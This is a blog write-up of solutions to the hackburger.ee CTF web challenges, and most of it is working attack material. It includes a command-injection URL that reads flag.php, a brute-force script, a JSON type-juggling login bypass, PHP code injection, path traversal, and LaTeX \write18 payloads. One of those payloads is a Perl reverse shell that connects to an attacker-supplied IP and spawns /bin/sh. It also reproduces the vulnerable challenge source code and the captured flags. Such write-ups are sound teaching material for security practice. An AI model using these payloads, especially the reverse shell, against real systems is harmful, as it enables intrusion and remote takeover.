hackburger.ee [all writeups]

I’ve decided to publish http://hackburger.ee writeups


== Warm up
http://burger.laboratorium.ee:8000/?host=%7Ccat+flag.php
Congratulations!
The flag is f1b35744925a3f5946c542a1ee64267af8b93b06
== File search (30 points)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from itertools import product
import requests
url = 'http://burger.laboratorium.ee:8004/'
x = map(''.join, product('0123456789abcdef', repeat=2))
flag = 'c8'
for i in range(0, 39):
for hexa in x:
payload = {'query': flag + str(hexa)}
r = requests.post(url, data=payload)
if 'flag.txt' in r.text:
flag += hexa
payload = {'query': str(flag)}
print flag
c82584c307421228a3c5c5e4dc6a3ea31859975e
== Enter password to get candy (30 points)
POST / HTTP/1.1
Host: burger.laboratorium.ee:8003
Content-Length: 32
Accept: */*
Origin: http://burger.laboratorium.ee:8003
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://burger.laboratorium.ee:8003/
Accept-Language: es-ES,es;q=0.8
Cookie: __tawkuuid=e::laboratorium.ee::TOmz6i1BEaKMU8mYuXzP+B0SfD+IhVbLHWkL958QseQJtBq2tG0WZnRmaOHHLny6::2; _ga=GA1.2.1703078470.1500476197
Connection: close
data=%7B%22password%22%3Atrue%7D
Logged in. Flag is: eae482e1c2d9147891174ecd38bb95a7ee2a9a70
== Number to ASCII converter (50 points)
http://1.hackme.laboratorium.ee/?number=var_dump(file_get_contents(%22where/is/the/flag/i/am/looking/for/flag.php%22));
== Magic (120 points)
Please enter 4 flags, separated by underscore (_).
Initially Flag3 was removed (replace with '0') but searching i have found it.
http://6.hackme.laboratorium.ee/03ada8e9692d58a7ff23d3e9317140f8582630d7.txt
Congratulations!
Flag 3 of 4 is: be2933a15bedf986b6e72e6addd3e439693b91fc
Please enter 4 flags, separated by underscore (_).
Flag1 of 4 is: 47b9664515420d44d2c77dc593f7514ccbd17be8
— on .git
47b9664515420d44d2c77dc593f7514ccbd17be8
— on robots.txt
Flag 2 of 4 is: 392d28473a135c2491c227f373d0eed0310e13e3
— on index.php~
Flag 4 of 4 is: ebb696a5abb04c8875a0afa29f6dc8d167db67e8
47b9664515420d44d2c77dc593f7514ccbd17be8_392d28473a135c2491c227f373d0eed0310e13e3_0_ebb696a5abb04c8875a0afa29f6dc8d167db67e8
== Underfull hbox (200 points)
Solution was a symlink that www-data moves to output.
www-data -> nginx
hackme8 -> php script
hackme8-jail -> sandboxed
\documentclass{article}
\begin{document}
\immediate\write18{ln -s /home/hackme8/task/index.php sometask.pdf}
txt
\end{document}
curl -vvv http://burger.laboratorium.ee:8008/output/4ceb1e89ab6841dc731bb3abf402c1245999b9634936b39eafb4532dc43f295e0cbacfdddc9d0fcb/sometask.pdf
* Trying 217.182.73.250…
* Connected to burger.laboratorium.ee (217.182.73.250) port 8008 (#0)
> GET /output/4ceb1e89ab6841dc731bb3abf402c1245999b9634936b39eafb4532dc43f295e0cbacfdddc9d0fcb/sometask.pdf HTTP/1.1
> Host: burger.laboratorium.ee:8008
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3
< Date: Sat, 19 Aug 2017 07:10:13 GMT
< Content-Type: application/pdf
< Content-Length: 1405
< Last-Modified: Tue, 25 Jul 2017 13:04:20 GMT
< Connection: keep-alive
< ETag: "597741d4-57d"
< Accept-Ranges: bytes
<
<html>
<head>
<style>
textarea {
width: 100%;
height: 400px;
}
</style>
</head>
<body>
<h1>LaTeX compiler</h1>
<p>
happy underfull hboxes (badness 10000)
</p>
<h2></h2>
<form action="" method="POST">
<textarea name="content"></textarea>
<input type="submit" value="Compile LaTeX" />
</form>
<?php
// You may be interested in the flag.
// The flag is: e1b19a9f1159560c0036d87c4831f9cb26ef7d0c
if ($_POST['content']) {
echo '<h2>Compilation result</h2>';
function random_token() {
return bin2hex(openssl_random_pseudo_bytes(40));
}
$folder = random_token();
mkdir("/tmp/" . $folder);
system("chmod -R 777 /tmp/" . $folder);
$f = fopen("/tmp/" . $folder . "/doc.latex", "w");
fwrite($f, $_POST['content']);
fclose($f);
system('sudo -u hackme8-jail /home/hackme8-jail/task/compile-latex /tmp/' . $folder);
system("cp -R /tmp/" . $folder ." " . __DIR__ . '/output/');
echo "<a href='/output/" . $folder . "/doc.pdf'>here's your pdf</a>";
}
?>
</body>
</html>
Bonus – shell and OLD solution
\documentclass{article}
\begin{document}
\immediate\write18{perl -e 'use Socket;$i="YOUR";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}
TXT
\end{document}
<html>
<head>
<style>
textarea {
width: 100%;
height: 400px;
}
</style>
</head>
<body>
<h1>LaTeX compiler</h1>
<p>
happy underfull hboxes (badness 10000)
</p>
<h2></h2>
<form action="" method="POST">
<textarea name="content"></textarea>
<input type="submit" value="Compile LaTeX" />
</form>
<?php
// You may be interested in the flag.
// The flag is: ea39877adf2aabe27c21f03c08caabc27851e18b
if ($_POST['content']) {
echo '<h2>Compilation result</h2>';
function random_token() {
return bin2hex(openssl_random_pseudo_bytes(40));
}
$folder = random_token();
mkdir("/tmp/" . $folder);
system("chmod -R 777 /tmp/" . $folder);
$f = fopen("/tmp/" . $folder . "/doc.latex", "w");
fwrite($f, $_POST['content']);
fclose($f);
system('sudo -u hackme8-jail /home/hackme/hackme8-jail/compile-latex /tmp/' . $folder);
system("cp -R /tmp/" . $folder ." output/");
echo "<a href='/output/" . $folder . "/doc.pdf'>here's your pdf</a>";
}
?>
</body>
</html>
== Zip file browser (150 points)
../../../../home/hackme/hackme5/index.php
<?php
$FLAG = '05f5ba70a5bcc14ba4dd2d66147045b3c067400c';
error_reporting(E_ALL);
ini_set("display_errors", 1);
function rand_key() {
$result = '';
for($i = 0; $i < 40; $i++) {
$result .= rand() % 10;
}
return $result;
}
if (!empty($_FILES)) {
$zip = $_FILES["zipfile"]["tmp_name"];
$name = $_POST['filename'];
$tempdir = sys_get_temp_dir() . '/dir_hackme5_' . rand_key();
mkdir($tempdir);
system("unzip -j ". escapeshellarg($zip) . " -d " . escapeshellarg($tempdir) . " 2>&1 > /dev/null");
echo '<h2>File contents</h2>';
if (stripos('/', $name) !== FALSE) {
die("hax0r no!");
}
echo file_get_contents($tempdir . "/" . $name);
}
?>
flag: 05f5ba70a5bcc14ba4dd2d66147045b3c067400c
== We tried to clone pastebin (90 points)
<?php
if (isset($_POST['content'])) {
if (strlen($_POST['content']) > 1000) {
die("At most 1000 chars");
}
$hash = md5(time() . time() . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1(time()));
$f = fopen(__DIR__ . "/files/" . $hash, 'w');
fwrite($f, date("Y-m-d H:i:s") . "\n");
fwrite($f, $_POST['content']);
fclose($f);
header("Location: /files/" . $hash);
die();
}
?>
<html>
<head>
<style>
textarea {
width: 100%;
height: 400px;
}
</style>
</head>
<body>
<h1>A service like pastebin, but worse</h1>
<h2>Add paste</h2>
<form action="" method="POST">
<textarea name="content"></textarea>
<input type="submit" value="Add" />
</form>
<h2>Recent pastes</h2>
<pre><?php
$files = scandir(__DIR__ . '/files/');
$lines = array();
foreach($files as $hash) {
if ($hash == '.' || $hash == '..') {
continue;
}
$f = fopen(__DIR__ . "/files/" . $hash, 'r');
$date_line = fgets($f);
fclose($f);
array_push($lines, $date_line);
}
sort($lines);
foreach($lines as $date_line) {
echo $date_line . "\n";
}
?></pre>
</body>
</html>
Take $hash = md5(time() . time() . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1(time()));
2017-07-23 19:15:11
The flag is: c4c1006fbdacbb8fd9cebee71a316bc2fac8620f
http://burger.laboratorium.ee:8007/files/e452096701642327b38f352430b89e97
<?php $i='1500830111';
echo md5($i . $i . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($i));
?>

No hay contenido relacionado



2 comentarios

  1. tunelko

    Hi 123,

    I have solved this task when it was buggy and can be solved from other tasks. Site had been with some tasks problems and i haven’t retry to solve it. i guess by the code you can upload a crafted file to reach rce due to system command. Maybe, but i have not try it.

  2. 123

    Thanks to release the write-up. Can you explain more about Zip file browser task? I don’t understand that exploit code can be bypassed to «stripos» for LFI..

Deja una respuesta

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.